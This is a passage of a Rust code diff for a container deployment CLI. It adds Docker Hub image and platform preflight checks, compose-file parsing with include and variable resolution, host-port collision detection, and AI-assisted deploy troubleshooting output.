RequiredImagePlatform { + os: String, + architecture: String, +} + +impl RequiredImagePlatform { + fn linux_amd64() -> Self { + Self { + os: "linux".to_string(), + architecture: "amd64".to_string(), + } + } + + fn display_name(&self) -> String { + format!("{}/{}", self.os, self.architecture) + } + + fn matches(&self, image: &DockerHubTagImage) -> bool { + image + .os + .as_deref() + .map(|os| os.eq_ignore_ascii_case(&self.os)) + .unwrap_or(false) + && image + .architecture + .as_deref() + .map(|architecture| architecture.eq_ignore_ascii_case(&self.architecture)) + .unwrap_or(false) + } +} + +fn required_image_platform_for_deploy_target( + deploy_target: &DeployTarget, +) -> Option { + match deploy_target { + DeployTarget::Cloud | DeployTarget::Server => Some(RequiredImagePlatform::linux_amd64()), + DeployTarget::Local => None, + } +} + +#[derive(Debug, Clone, PartialEq, Eq)] +enum DockerHubImageCheckResult { + Available, + Missing, + MissingPlatform { + required: RequiredImagePlatform, + available: Vec, + }, +} + +#[derive(Debug, serde::Deserialize)] +struct DockerHubTagDetails { + #[serde(default)] + images: Vec, +} + +#[derive(Debug, serde::Deserialize)] +struct DockerHubTagImage { + architecture: Option, + os: Option, +} + +fn available_docker_hub_platforms(images: &[DockerHubTagImage]) -> Vec { + let mut platforms = std::collections::BTreeSet::new(); + + for image in images { + let Some(os) = image.os.as_deref() else { + continue; + }; + let Some(architecture) = image.architecture.as_deref() else { + continue; + }; + let os = os.trim(); + let architecture = architecture.trim(); + if os.is_empty() || architecture.is_empty() { + continue; + } + platforms.insert(format!("{}/{}", os, architecture)); + } + + platforms.into_iter().collect() +} +fn validate_compose_images_for_deploy( + compose_path: &Path, + registry: Option<&RegistryConfig>, + image_env: &std::collections::BTreeMap, + required_platform: Option<&RequiredImagePlatform>, +) -> Result<(), CliError> { + let rt = tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + .map_err(|e| { + CliError::ConfigValidation(format!("Failed to create async runtime: {}", e)) + })?; + + validate_compose_images_for_deploy_with_checker( + compose_path, + image_env, + required_platform, + |target| { + rt.block_on(check_docker_hub_image_exists( + target, + registry, + required_platform, + )) + }, + ) +} + +fn validate_compose_images_for_deploy_with_checker( + compose_path: &Path, + image_env: &std::collections::BTreeMap, + required_platform: Option<&RequiredImagePlatform>, + mut checker: F, +) -> Result<(), CliError> +where + F: FnMut(&DockerHubImageTarget) -> Result, +{ + let images = collect_compose_image_refs(compose_path)?; + let mut problems = Vec::new(); + + for image_ref in images { + let resolved_image = + resolve_compose_image_reference(&image_ref.image, image_env).map_err(|err| { + CliError::ConfigValidation(format!( + "Failed to resolve image for service '{}' in {}: {}", + image_ref.service_name, + image_ref.source_path.display(), + err + )) + })?; + + let Some(target) = parse_docker_hub_image_target(&resolved_image) else { + continue; + }; + + match checker(&target) { + Ok(DockerHubImageCheckResult::Available) => {} + Ok(DockerHubImageCheckResult::Missing) => problems.push(format!( + "{} (service '{}' in {})", + target.display_name(), + image_ref.service_name, + image_ref.source_path.display() + )), + Ok(DockerHubImageCheckResult::MissingPlatform { + required, + available, + }) => { + let available_suffix = if available.is_empty() { + String::new() + } else { + format!("; available platforms: {}", available.join(", ")) + }; + problems.push(format!( + "{} (service '{}' in {}) does not publish required platform {}{}", + target.display_name(), + image_ref.service_name, + image_ref.source_path.display(), + required.display_name(), + available_suffix + )); + } + Err(err) => eprintln!( + " Warning: could not verify image {} before deploy: {}", + target.display_name(), + err + ), + } + } + + if problems.is_empty() { + Ok(()) + } else if let Some(required_platform) = required_platform { + Err(CliError::ConfigValidation(format!( + "Compose image preflight failed. These images are missing, inaccessible, or incompatible with required platform {}: {}", + required_platform.display_name(), + problems.join("; ") + ))) + } else { + Err(CliError::ConfigValidation(format!( + "Compose image preflight failed. These images are missing or inaccessible: {}", + problems.join("; ") + ))) + } +} + +fn print_registry_auth_guidance_if_needed( + compose_path: &Path, + config: &StackerConfig, + image_env: &std::collections::BTreeMap, +) -> Result<(), CliError> { + let registry_creds = resolve_docker_registry_credentials(config); + if registry_creds.contains_key("docker_username") + && registry_creds.contains_key("docker_password") + { + return Ok(()); + } + + let images = collect_registry_auth_candidate_images(compose_path, image_env)?; + if images.is_empty() { + return Ok(()); + } + + eprintln!(" Registry auth: no deploy registry credentials were resolved."); + eprintln!( + " If these images are private, set STACKER_DOCKER_USERNAME, STACKER_DOCKER_PASSWORD, and STACKER_DOCKER_REGISTRY, or configure deploy.registry." + ); + eprintln!(" Candidate image(s): {}", images.join(", ")); + Ok(()) +} + +fn collect_registry_auth_candidate_images( + compose_path: &Path, + image_env: &std::collections::BTreeMap, +) -> Result, CliError> { + let mut candidates = Vec::new(); + let mut seen = std::collections::BTreeSet::new(); + + for image_ref in collect_compose_image_refs(compose_path)? { + let resolved_image = + resolve_compose_image_reference(&image_ref.image, image_env).map_err(|err| { + CliError::ConfigValidation(format!( + "Failed to resolve image for service '{}' in {}: {}", + image_ref.service_name, + image_ref.source_path.display(), + err + )) + })?; + if image_may_require_registry_auth(&resolved_image) && seen.insert(resolved_image.clone()) { + candidates.push(resolved_image); + } + } + + Ok(candidates) +} + +fn image_may_require_registry_auth(image: &str) -> bool { + let image = image.trim(); + if image.is_empty() { + return false; + } + + let without_digest = image.split('@').next().unwrap_or(image); + let (without_tag, _) = split_image_tag(without_digest); + let parts: Vec<&str> = without_tag.split('/').collect(); + if parts.len() > 1 && is_registry_host(parts[0]) { + return !is_docker_hub_host(parts[0]) || parts.len() > 2; + } + + parts.len() == 2 && parts[0] != "library" +} + +fn collect_compose_image_refs(compose_path: &Path) -> Result, CliError> { + let mut visited = std::collections::BTreeSet::new(); + let mut images = Vec::new(); + collect_compose_image_refs_from_file(compose_path, &mut visited, &mut images)?; + Ok(images) +} + +fn collect_compose_image_refs_from_file( + compose_path: &Path, + visited: &mut std::collections::BTreeSet, + images: &mut Vec, +) -> Result<(), CliError> { + let visited_key = + std::fs::canonicalize(compose_path).unwrap_or_else(|_| compose_path.to_path_buf()); + if !visited.insert(visited_key) { + return Ok(()); + } + + let raw = std::fs::read_to_string(compose_path)?; + let doc: serde_yaml::Value = serde_yaml::from_str(&raw) + .map_err(|e| CliError::ConfigValidation(format!("Failed to parse compose file: {e}")))?; + + let root = match doc { + serde_yaml::Value::Mapping(m) => m, + _ => { + return Err(CliError::ConfigValidation( + "Compose file must be a YAML mapping at the top level".to_string(), + )) + } + }; + + let services_key = serde_yaml::Value::String("services".to_string()); + let build_key = serde_yaml::Value::String("build".to_string()); + let image_key = serde_yaml::Value::String("image".to_string()); + + if let Some(serde_yaml::Value::Mapping(services)) = root.get(&services_key) { + for (service_key, service_value) in services { + let service_name = service_key.as_str().unwrap_or("").to_string(); + let service_map = match service_value { + serde_yaml::Value::Mapping(m) => m, + _ => continue, + }; + + if service_map.contains_key(&build_key) { + continue; + } + + let Some(image) = service_map.get(&image_key).and_then(|value| value.as_str()) else { + continue; + }; + + images.push(ComposeImageRef { + image: image.to_string(), + service_name, + source_path: compose_path.to_path_buf(), + }); + } + } + + for include_path in collect_compose_include_paths(&root, compose_path)? { + if !include_path.exists() { + return Err(CliError::ConfigValidation(format!( + "Included compose file not found: {}", + include_path.display() + ))); + } + collect_compose_image_refs_from_file(&include_path, visited, images)?; + } + + Ok(()) +} + +fn collect_compose_include_paths( + root: &serde_yaml::Mapping, + compose_path: &Path, +) -> Result, CliError> { + let include_key = serde_yaml::Value::String("include".to_string()); + let Some(include_value) = root.get(&include_key) else { + return Ok(Vec::new()); + }; + + let compose_dir = compose_path.parent().unwrap_or_else(|| Path::new(".")); + let mut paths = Vec::new(); + append_compose_include_paths(include_value, compose_dir, &mut paths)?; + Ok(paths) +} + +fn append_compose_include_paths( + value: &serde_yaml::Value, + compose_dir: &Path, + output: &mut Vec, +) -> Result<(), CliError> { + match value { + serde_yaml::Value::String(path) => { + let path = PathBuf::from(path); + output.push(if path.is_absolute() { + path + } else { + compose_dir.join(path) + }); + } + serde_yaml::Value::Sequence(entries) => { + for entry in entries { + append_compose_include_paths(entry, compose_dir, output)?; + } + } + serde_yaml::Value::Mapping(map) => { + let path_key = serde_yaml::Value::String("path".to_string()); + if let Some(path_value) = map.get(&path_key) { + append_compose_include_paths(path_value, compose_dir, output)?; + } + } + _ => {} + } + + Ok(()) +} + +fn parse_docker_hub_image_target(image: &str) -> Option { + let image = image.trim(); + if image.is_empty() { + return None; + } + + let without_digest = image.split('@').next().unwrap_or(image); + let (without_tag, tag) = split_image_tag(without_digest); + let parts: Vec<&str> = without_tag.split('/').collect(); + + let remainder = if parts.len() > 1 && is_registry_host(parts[0]) { + if !is_docker_hub_host(parts[0]) { + return None; + } + &parts[1..] + } else { + &parts[..] + }; + + match remainder { + [repo] => Some(DockerHubImageTarget { + original: image.to_string(), + namespace: None, + repository: (*repo).to_string(), + tag, + }), + [namespace, repo] if *namespace == "library" => Some(DockerHubImageTarget { + original: image.to_string(), + namespace: None, + repository: (*repo).to_string(), + tag, + }), + [namespace, repo] => Some(DockerHubImageTarget { + original: image.to_string(), + namespace: Some((*namespace).to_string()), + repository: (*repo).to_string(), + tag, + }), + _ => None, + } +} + +fn split_image_tag(image: &str) -> (&str, String) { + if let Some(pos) = image.rfind(':') { + let after_colon = &image[pos + 1..]; + if !after_colon.contains('/') { + return (&image[..pos], after_colon.to_string()); + } + } + (image, "latest".to_string()) +} + +fn is_registry_host(segment: &str) -> bool { + segment.contains('.') || segment.contains(':') || segment.eq_ignore_ascii_case("localhost") +} + +fn is_docker_hub_host(segment: &str) -> bool { + let lower = segment + .trim() + .trim_end_matches('/') + .trim_start_matches("https://") + .trim_start_matches("http://") + .to_ascii_lowercase(); + lower == "docker.io" + || lower == "hub.docker.com" + || lower == "index.docker.io" + || lower == "index.docker.io/v1" + || lower == "registry-1.docker.io" +} + +fn docker_hub_auth(registry: Option<&RegistryConfig>) -> Option<(&str, &str)> { + let registry = registry?; + let username = registry.username.as_deref()?.trim(); + let password = registry.password.as_deref()?.trim(); + + if username.is_empty() || password.is_empty() { + return None; + } + + let uses_docker_hub = registry + .server + .as_deref() + .map(is_docker_hub_host) + .unwrap_or(true); + if uses_docker_hub { + Some((username, password)) + } else { + None + } +} + +async fn check_docker_hub_image_exists( + target: &DockerHubImageTarget, + registry: Option<&RegistryConfig>, + required_platform: Option<&RequiredImagePlatform>, +) -> Result { + let client = reqwest::Client::new(); + let auth_token = if let Some((username, password)) = docker_hub_auth(registry) { + Some(login_to_docker_hub(&client, username, password).await?) + } else { + None + }; + + let url = match &target.namespace { + Some(namespace) => format!( + "https://hub.docker.com/v2/namespaces/{}/repositories/{}/tags/{}", + namespace, target.repository, target.tag + ), + None => format!( + "https://hub.docker.com/v2/repositories/library/{}/tags/{}", + target.repository, target.tag + ), + }; + + let mut request = client.get(url).header("Accept", "application/json"); + if let Some(token) = auth_token { + request = request.bearer_auth(token); + } + + let response = request.send().await.map_err(|e| e.to_string())?; + let status = response.status(); + if status.is_success() { + if let Some(required_platform) = required_platform { + let body: DockerHubTagDetails = response.json().await.map_err(|e| e.to_string())?; + if !body.images.is_empty() + && !body + .images + .iter() + .any(|image| required_platform.matches(image)) + { + return Ok(DockerHubImageCheckResult::MissingPlatform { + required: required_platform.clone(), + available: available_docker_hub_platforms(&body.images), + }); + } + } + + Ok(DockerHubImageCheckResult::Available) + } else if status == reqwest::StatusCode::NOT_FOUND + || status == reqwest::StatusCode::UNAUTHORIZED + || status == reqwest::StatusCode::FORBIDDEN + { + Ok(DockerHubImageCheckResult::Missing) + } else { + Err(format!("Docker Hub API returned {}", status)) + } +} + +async fn login_to_docker_hub( + client: &reqwest::Client, + username: &str, + password: &str, +) -> Result { + let response = client + .post("https://hub.docker.com/v2/users/login") + .json(&serde_json::json!({ + "username": username, + "password": password, + })) + .send() + .await + .map_err(|e| e.to_string())?; + + if !response.status().is_success() { + return Err(format!( + "Docker Hub login failed with status {}", + response.status() + )); + } + + let body: serde_json::Value = response.json().await.map_err(|e| e.to_string())?; + body.get("token") + .and_then(|value| value.as_str()) + .map(|token| token.to_string()) + .ok_or_else(|| "Docker Hub login response did not include a token".to_string()) +} + +fn build_image_env_lookup( + project_dir: &Path, + config: &StackerConfig, +) -> Result, CliError> { + let mut env_map = std::collections::BTreeMap::new(); + + if let Some(env_file) = &config.env_file { + let env_path = if env_file.is_absolute() { + env_file.clone() + } else { + project_dir.join(env_file) + }; + + if env_path.exists() { + let iter = dotenvy::from_path_iter(&env_path).map_err(|e| { + CliError::ConfigValidation(format!( + "Failed to read env file {}: {}", + env_path.display(), + e + )) + })?; + + for item in iter { + let (key, value) = item.map_err(|e| { + CliError::ConfigValidation(format!( + "Failed to parse env file {}: {}", + env_path.display(), + e + )) + })?; + env_map.insert(key, value); + } + } + } + + for (key, value) in &config.env { + env_map.insert(key.clone(), value.clone()); + } + + for (key, value) in std::env::vars() { + env_map.insert(key, value); + } + + Ok(env_map) +} + +fn merge_compose_public_ports_into_app_config( + config: &mut StackerConfig, + compose_path: &Path, + env_lookup: &std::collections::BTreeMap, +) -> Result<(), CliError> { + let compose_ports = extract_compose_public_port_specs(compose_path, env_lookup)?; + if compose_ports.is_empty() { + return Ok(()); + } + + let mut seen = std::collections::BTreeSet::new(); + let mut merged = Vec::new(); + + for port in &config.app.ports { + if seen.insert(port.clone()) { + merged.push(port.clone()); + } + } + + for port in compose_ports { + if seen.insert(port.clone()) { + merged.push(port); + } + } + + config.app.ports = merged; + Ok(()) +} + +fn extract_compose_public_port_specs( + compose_path: &Path, + env_lookup: &std::collections::BTreeMap, +) -> Result, CliError> { + let raw = std::fs::read_to_string(compose_path).map_err(|err| { + CliError::ConfigValidation(format!( + "Failed to read compose file {}: {}", + compose_path.display(), + err + )) + })?; + let doc: serde_yaml::Value = serde_yaml::from_str(&raw).map_err(|err| { + CliError::ConfigValidation(format!( + "Failed to parse compose file {}: {}", + compose_path.display(), + err + )) + })?; + + let services = doc + .as_mapping() + .and_then(|root| root.get(serde_yaml::Value::String("services".to_string()))) + .and_then(serde_yaml::Value::as_mapping); + + let Some(services) = services else { + return Ok(Vec::new()); + }; + + let mut seen = std::collections::BTreeSet::new(); + let mut ports = Vec::new(); + + for service_value in services.values() { + let Some(service_map) = service_value.as_mapping() else { + continue; + }; + let Some(port_values) = service_map + .get(serde_yaml::Value::String("ports".to_string())) + .and_then(serde_yaml::Value::as_sequence) + else { + continue; + }; + + for port_value in port_values { + if let Some(spec) = compose_public_port_spec(port_value, env_lookup) { + if seen.insert(spec.clone()) { + ports.push(spec); + } + } + } + } + + Ok(ports) +} + +fn compose_public_port_spec( + port_value: &serde_yaml::Value, + env_lookup: &std::collections::BTreeMap, +) -> Option { + match port_value { + serde_yaml::Value::String(spec) => short_compose_public_port_spec(spec, env_lookup), + serde_yaml::Value::Mapping(mapping) => long_compose_public_port_spec(mapping, env_lookup), + _ => None, + } +} + +fn long_compose_public_port_spec( + mapping: &serde_yaml::Mapping, + env_lookup: &std::collections::BTreeMap, +) -> Option { + let host_ip = yaml_scalar_as_string(mapping, "host_ip") + .map(|value| resolve_compose_port_env(&value, env_lookup)); + if host_ip + .as_deref() + .is_some_and(|value| !is_public_compose_host_ip(value)) + { + return None; + } + + let protocol = yaml_scalar_as_string(mapping, "protocol") + .unwrap_or_else(|| "tcp".to_string()) + .to_ascii_lowercase(); + if protocol != "tcp" { + return None; + } + + let published = yaml_scalar_as_string(mapping, "published") + .map(|value| resolve_compose_port_env(&value, env_lookup))?; + let target = yaml_scalar_as_string(mapping, "target") + .map(|value| resolve_compose_port_env(&value, env_lookup))?; + + format_compose_public_port_spec(&published, &target) +} + +fn short_compose_public_port_spec( + spec: &str, + env_lookup: &std::collections::BTreeMap, +) -> Option { + let resolved = resolve_compose_port_env(spec.trim(), env_lookup); + let without_protocol = match resolved.rsplit_once('/') { + Some((port_spec, protocol)) if protocol.eq_ignore_ascii_case("tcp") => port_spec, + Some(_) => return None, + None => resolved.as_str(), + }; + + let (host_ip, host_port, container_port) = split_short_compose_port_spec(without_protocol)?; + if host_ip.is_some_and(|value| !is_public_compose_host_ip(&value)) { + return None; + } + + format_compose_public_port_spec(&host_port, &container_port) +} + +fn split_short_compose_port_spec(spec: &str) -> Option<(Option, String, String)> { + let trimmed = spec.trim(); + if trimmed.is_empty() { + return None; + } + + let parts = split_compose_port_parts(trimmed); + match parts.len() { + 0 | 1 => None, + 2 => Some((None, parts[0].clone(), parts[1].clone())), + _ => { + let host_ip = parts[..parts.len() - 2].join(":"); + Some(( + Some(host_ip), + parts[parts.len() - 2].clone(), + parts[parts.len() - 1].clone(), + )) + } + } +} + +fn split_compose_port_parts(spec: &str) -> Vec { + let trimmed = spec.trim(); + if let Some(rest) = trimmed.strip_prefix('[') { + if let Some(closing) = rest.find(']') { + let host_ip = &rest[..closing]; + let after_bracket = rest[closing + 1..].trim_start_matches(':'); + let mut parts = vec![host_ip.to_string()]; + parts.extend(after_bracket.split(':').map(ToOwned::to_owned)); + return parts; + } + } + + trimmed.split(':').map(ToOwned::to_owned).collect() +} + +fn yaml_scalar_as_string(mapping: &serde_yaml::Mapping, key: &str) -> Option { + mapping + .get(serde_yaml::Value::String(key.to_string())) + .and_then(|value| match value { + serde_yaml::Value::String(value) => Some(value.clone()), + serde_yaml::Value::Number(value) => Some(value.to_string()), + _ => None, + }) +} + +fn format_compose_public_port_spec(host_port: &str, container_port: &str) -> Option { + let host_port = host_port.trim(); + let container_port = container_port.trim(); + + if !is_valid_tcp_port(host_port) || !is_valid_tcp_port(container_port) { + return None; + } + + Some(format!("{}:{}", host_port, container_port)) +} + +fn is_valid_tcp_port(value: &str) -> bool { + value + .parse::() + .is_ok_and(|port| (1..=65535).contains(&port)) +} + +fn is_public_compose_host_ip(value: &str) -> bool { + let normalized = value + .trim() + .trim_matches('"') + .trim_matches('\'') + .trim_start_matches('[') + .trim_end_matches(']'); + + matches!(normalized, "" | "0.0.0.0" | "::" | "*") +} + +fn resolve_compose_port_env( + value: &str, + env_lookup: &std::collections::BTreeMap, +) -> String { + let mut result = String::with_capacity(value.len()); + let mut rest = value; + + while let Some(start) = rest.find("${") { + result.push_str(&rest[..start]); + let after_start = &rest[start + 2..]; + let Some(end) = after_start.find('}') else { + result.push_str(&rest[start..]); + return result; + }; + + let expression = &after_start[..end]; + result.push_str(&resolve_compose_port_env_expression(expression, env_lookup)); + rest = &after_start[end + 1..]; + } + + result.push_str(rest); + result +} + +fn resolve_compose_port_env_expression( + expression: &str, + env_lookup: &std::collections::BTreeMap, +) -> String { + for separator in [":-", "-"] { + if let Some((name, fallback)) = expression.split_once(separator) { + return env_lookup + .get(name) + .filter(|value| !value.is_empty() || separator == "-") + .cloned() + .unwrap_or_else(|| fallback.to_string()); + } + } + + env_lookup.get(expression).cloned().unwrap_or_default() +} + +fn resolve_compose_image_reference( + value: &str, + vars: &std::collections::BTreeMap, +) -> Result { + let mut output = String::new(); + let mut cursor = 0usize; + + while let Some(relative_start) = value[cursor..].find("${") { + let start = cursor + relative_start; + output.push_str(&value[cursor..start]); + + let expr_start = start + 2; + let Some(relative_end) = value[expr_start..].find('}') else { + return Err(format!("unterminated variable expression in '{}'", value)); + }; + let end = expr_start + relative_end; + let expr = &value[expr_start..end]; + output.push_str(&resolve_compose_variable_expression(expr, vars)?); + cursor = end + 1; + } + + output.push_str(&value[cursor..]); + let trimmed = output.trim(); + if trimmed.is_empty() { + Err(format!( + "image reference '{}' resolved to an empty value", + value + )) + } else { + Ok(trimmed.to_string()) + } +} + +fn resolve_compose_variable_expression( + expr: &str, + vars: &std::collections::BTreeMap, +) -> Result { + if let Some((name, fallback)) = expr.split_once(":-") { + return match vars.get(name) { + Some(value) if !value.is_empty() => Ok(value.clone()), + _ => Ok(fallback.to_string()), + }; + } + + if let Some((name, fallback)) = expr.split_once('-') { + return match vars.get(name) { + Some(value) => Ok(value.clone()), + None => Ok(fallback.to_string()), + }; + } + + if let Some((name, message)) = expr.split_once(":?") { + return match vars.get(name) { + Some(value) if !value.is_empty() => Ok(value.clone()), + _ => Err(if message.is_empty() { + format!("required variable {} is not set", name) + } else { + message.to_string() + }), + }; + } + + if let Some((name, message)) = expr.split_once('?') { + return match vars.get(name) { + Some(value) => Ok(value.clone()), + None => Err(if message.is_empty() { + format!("required variable {} is not set", name) + } else { + message.to_string() + }), + }; + } + + vars.get(expr) + .cloned() + .ok_or_else(|| format!("variable {} is not set", expr)) +} + +fn extract_published_host_port(port: &serde_yaml::Value) -> Option { + match port { + serde_yaml::Value::String(spec) => extract_host_port_from_string(spec), + serde_yaml::Value::Mapping(m) => { + let published_key = serde_yaml::Value::String("published".to_string()); + m.get(&published_key).and_then(|value| match value { + serde_yaml::Value::String(s) => Some(s.clone()), + serde_yaml::Value::Number(n) => Some(n.to_string()), + _ => None, + }) + } + _ => None, + } +} + +fn extract_host_port_from_string(spec: &str) -> Option { + let trimmed = spec.trim(); + if trimmed.is_empty() { + return None; + } + + let without_protocol = trimmed.split('/').next().unwrap_or(trimmed); + let parts: Vec<&str> = without_protocol.split(':').collect(); + + if parts.len() < 2 { + return None; + } + + parts + .get(parts.len().saturating_sub(2)) + .map(|part| part.trim().to_string()) + .filter(|part| !part.is_empty()) +} + +/// Detect host-port collisions between stacker.yml `services:` and a user-supplied compose file. +/// +/// `config_with_compose_secret_target_services` merges compose services into the config by name, +/// so two services with different names but the same host port will both survive the merge and +/// cause Docker to fail at runtime. This check catches that case locally before any remote +/// operation is attempted. +fn validate_cross_source_port_collisions( + config: &crate::cli::config_parser::StackerConfig, + compose_path: &Path, +) -> Result<(), CliError> { + // Collect host-port → service-name mapping from stacker.yml services (and app). + let mut stacker_port_owners: std::collections::BTreeMap = + std::collections::BTreeMap::new(); + for svc in &config.services { + for spec in &svc.ports { + if let Some(port) = extract_host_port_from_string(spec) { + stacker_port_owners + .entry(port) + .or_insert_with(|| svc.name.clone()); + } + } + } + for spec in &config.app.ports { + if let Some(port) = extract_host_port_from_string(spec) { + stacker_port_owners.entry(port).or_insert_with(|| "app".to_string()); + } + } + + if stacker_port_owners.is_empty() { + return Ok(()); + } + + // Parse the compose file and look for the same host ports. + let raw = std::fs::read_to_string(compose_path)?; + let doc: serde_yaml::Value = serde_yaml::from_str(&raw) + .map_err(|e| CliError::ConfigValidation(format!("Failed to parse compose file: {e}")))?; + + let root = match doc { + serde_yaml::Value::Mapping(m) => m, + _ => return Ok(()), + }; + + let services_key = serde_yaml::Value::String("services".to_string()); + let services = match root.get(&services_key) { + Some(serde_yaml::Value::Mapping(m)) => m, + _ => return Ok(()), + }; + + let mut collisions: Vec = Vec::new(); + for (svc_key, svc_val) in services { + let compose_svc = svc_key.as_str().unwrap_or(""); + let svc_map = match svc_val { + serde_yaml::Value::Mapping(m) => m, + _ => continue, + }; + let ports_key = serde_yaml::Value::String("ports".to_string()); + let Some(serde_yaml::Value::Sequence(ports)) = svc_map.get(&ports_key) else { + continue; + }; + for port in ports { + if let Some(host_port) = extract_published_host_port(port) { + if let Some(stacker_svc) = stacker_port_owners.get(&host_port) { + collisions.push(format!( + "port {} is used by '{}' in stacker.yml and '{}' in {}", + host_port, + stacker_svc, + compose_svc, + compose_path.display(), + )); + } + } + } + } + + if collisions.is_empty() { + Ok(()) + } else { + Err(CliError::ConfigValidation(format!( + "Host-port collision between stacker.yml services and compose file — \ + both sources will be deployed together but share the same host port(s): {}. \ + Remove the duplicate service from one of the two files.", + collisions.join("; ") + ))) + } +} + +fn compose_app_build_source(compose_path: &Path) -> Option { + let raw = std::fs::read_to_string(compose_path).ok()?; + let doc: serde_yaml::Value = serde_yaml::from_str(&raw).ok()?; + + let root = match doc { + serde_yaml::Value::Mapping(m) => m, + _ => return None, + }; + + let services_key = serde_yaml::Value::String("services".to_string()); + let app_key = serde_yaml::Value::String("app".to_string()); + let build_key = serde_yaml::Value::String("build".to_string()); + let context_key = serde_yaml::Value::String("context".to_string()); + let dockerfile_key = serde_yaml::Value::String("dockerfile".to_string()); + + let services = match root.get(&services_key) { + Some(serde_yaml::Value::Mapping(m)) => m, + _ => return None, + }; + let app = match services.get(&app_key) { + Some(serde_yaml::Value::Mapping(m)) => m, + _ => return None, + }; + let build = app.get(&build_key)?; + + let compose_dir = compose_path.parent().unwrap_or_else(|| Path::new(".")); + + match build { + serde_yaml::Value::String(context_str) => { + let context_path = PathBuf::from(context_str); + let context_abs = if context_path.is_absolute() { + context_path + } else { + compose_dir.join(context_path) + }; + let dockerfile_abs = context_abs.join("Dockerfile"); + Some(format!( + "context={}, dockerfile={}", + context_abs.display(), + dockerfile_abs.display() + )) + } + serde_yaml::Value::Mapping(build_map) => { + let context_raw = build_map + .get(&context_key) + .and_then(|v| v.as_str()) + .unwrap_or("."); + let dockerfile_raw = build_map + .get(&dockerfile_key) + .and_then(|v| v.as_str()) + .unwrap_or("Dockerfile"); + + let context_path = PathBuf::from(context_raw); + let context_abs = if context_path.is_absolute() { + context_path + } else { + compose_dir.join(context_path) + }; + + let dockerfile_path = PathBuf::from(dockerfile_raw); + let dockerfile_abs = if dockerfile_path.is_absolute() { + dockerfile_path + } else { + context_abs.join(dockerfile_path) + }; + + Some(format!( + "context={}, dockerfile={}", + context_abs.display(), + dockerfile_abs.display() + )) + } + _ => None, + } +} + +fn build_troubleshoot_error_log(project_dir: &Path, reason: &str) -> String { + let dockerfile_path = project_dir.join(OUTPUT_DIR).join("Dockerfile"); + let compose_path = project_dir.join(OUTPUT_DIR).join("docker-compose.yml"); + + let dockerfile = std::fs::read_to_string(&dockerfile_path).unwrap_or_default(); + let compose = std::fs::read_to_string(&compose_path).unwrap_or_default(); + + let dockerfile_snippet = if dockerfile.is_empty() { + "(not found)".to_string() + } else { + dockerfile.chars().take(4000).collect() + }; + + let compose_snippet = if compose.is_empty() { + "(not found)".to_string() + } else { + compose.chars().take(4000).collect() + }; + + format!( + "Deploy error:\n{}\n\nGenerated Dockerfile (.stacker/Dockerfile):\n{}\n\nGenerated Compose (.stacker/docker-compose.yml):\n{}", + reason, dockerfile_snippet, compose_snippet + ) +} + +fn print_ai_deploy_help(project_dir: &Path, config_file: Option<&str>, err: &CliError) { + let reason = match err { + CliError::DeployFailed { reason, .. } => reason, + _ => return, + }; + + eprintln!("\nTroubleshooting help:"); + + let ai_config = match resolve_ai_from_env_or_config(project_dir, config_file) { + Ok(cfg) => cfg, + Err(load_err) => { + eprintln!( + " Could not load AI config for troubleshooting: {}", + load_err + ); + for hint in fallback_troubleshooting_hints(reason) { + eprintln!(" - {}", hint); + } + eprintln!( + " Tip: enable AI with stacker init --with-ai or set STACKER_AI_PROVIDER=ollama" + ); + return; + } + }; + + if !ai_config.enabled { + eprintln!(" AI troubleshooting disabled (ai.enabled=false)."); + for hint in fallback_troubleshooting_hints(reason) { + eprintln!(" - {}", hint); + } + eprintln!(" Tip: enable AI in stacker.yml if you want AI troubleshooting suggestions"); + return; + } + + let error_log = build_troubleshoot_error_log(project_dir, reason); + let ctx = PromptContext { + project_type: None, + files: vec![ + ".stacker/Dockerfile".to_string(), + ".stacker/docker-compose.yml".to_string(), + ], + error_log: Some(error_log), + current_config: None, + }; + let (system, prompt) = build_prompt(AiTask::Troubleshoot, &ctx); + + if ai_config.provider == AiProviderType::Ollama { + eprintln!(" AI suggestion (streaming from Ollama):"); + match ollama_complete_streaming(&ai_config, &prompt, &system) { + Ok(answer) => { + if answer.trim().is_empty() { + eprintln!(" (empty AI response)"); + } + eprintln!(); + } + Err(ai_err) => { + eprintln!(" AI troubleshooting unavailable: {}", ai_err); + for hint in fallback_troubleshooting_hints(reason) { + eprintln!(" - {}", hint); + } + eprintln!(" Tip: set STACKER_AI_PROVIDER=ollama and ensure Ollama is running"); + } + } + return; + } + + eprintln!(" AI request in progress..."); + match create_provider(&ai_config).and_then(|provider| provider.complete(&prompt, &system)) { + Ok(answer) => { + eprintln!(" AI suggestion:"); + for line in answer.lines().take(20) { + eprintln!(" {}", line); + } + } + Err(ai_err) => { + eprintln!(" AI troubleshooting unavailable: {}", ai_err); + for hint in fallback_troubleshooting_hints(reason) { + eprintln!(" - {}", hint); + } + eprintln!(" Tip: set STACKER_AI_PROVIDER=ollama and ensure Ollama is running"); + } + } +} + +/// Map a provider code string (as stored in CloudInfo.provider) to a `CloudProvider` enum. +/// +/// Accepts both short codes ("htz", "do", "aws", "lo", "vu") and full names +/// ("hetzner", "digitalocean", "aws", "linode", "vultr"). +fn cloud_provider_from_code(code: &str) -> Option { + match code.to_lowercase().as_str() { + "htz" | "hetzner" => Some(CloudProvider::Hetzner), + "do" | "digitalocean" => Some(CloudProvider::Digitalocean), + "aws" => Some(CloudProvider::Aws), + "lo" | "linode" => Some(CloudProvider::Linode), + "vu" | "vultr" => Some(CloudProvider::Vultr), + _ => None, + } +} + +/// Interactively prompt the user to select a saved cloud credential when +/// no `deploy.cloud` section is present in stacker.yml. +/// +/// - Fetches the list of saved clouds from the Stacker server. +/// - Presents an interactive `Select` menu with each cloud plus a +/// "Connect a new cloud provider" option at the end. +/// - Returns: +/// - `Ok(Some(cloud_info))` when the user picks an existing credential. +/// - `Ok(None)` when the user picks "Connect a new cloud provider". +/// - `Err(...)` on I/O or network errors. +fn prompt_select_cloud( + base_url: &str, + access_token: &str, +) -> Result, CliError> { + let rt = tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + .map_err(|e| { + CliError::ConfigValidation(format!("Failed to create async runtime: {}", e)) + })?; + + let clouds = rt.block_on(async { + let client = StackerClient::new(&base_url, access_token); + client.list_clouds().await + })?; + + const CONNECT_NEW: &str = "→ Connect a new cloud provider"; + + if clouds.is_empty() { + eprintln!(); + eprintln!(" No saved cloud credentials found."); + eprintln!(" To add cloud credentials, export your provider token and redeploy:"); + eprintln!(" {} # Hetzner", cloud_env::provider_cli_example("htz")); + eprintln!( + " {} # DigitalOcean", + 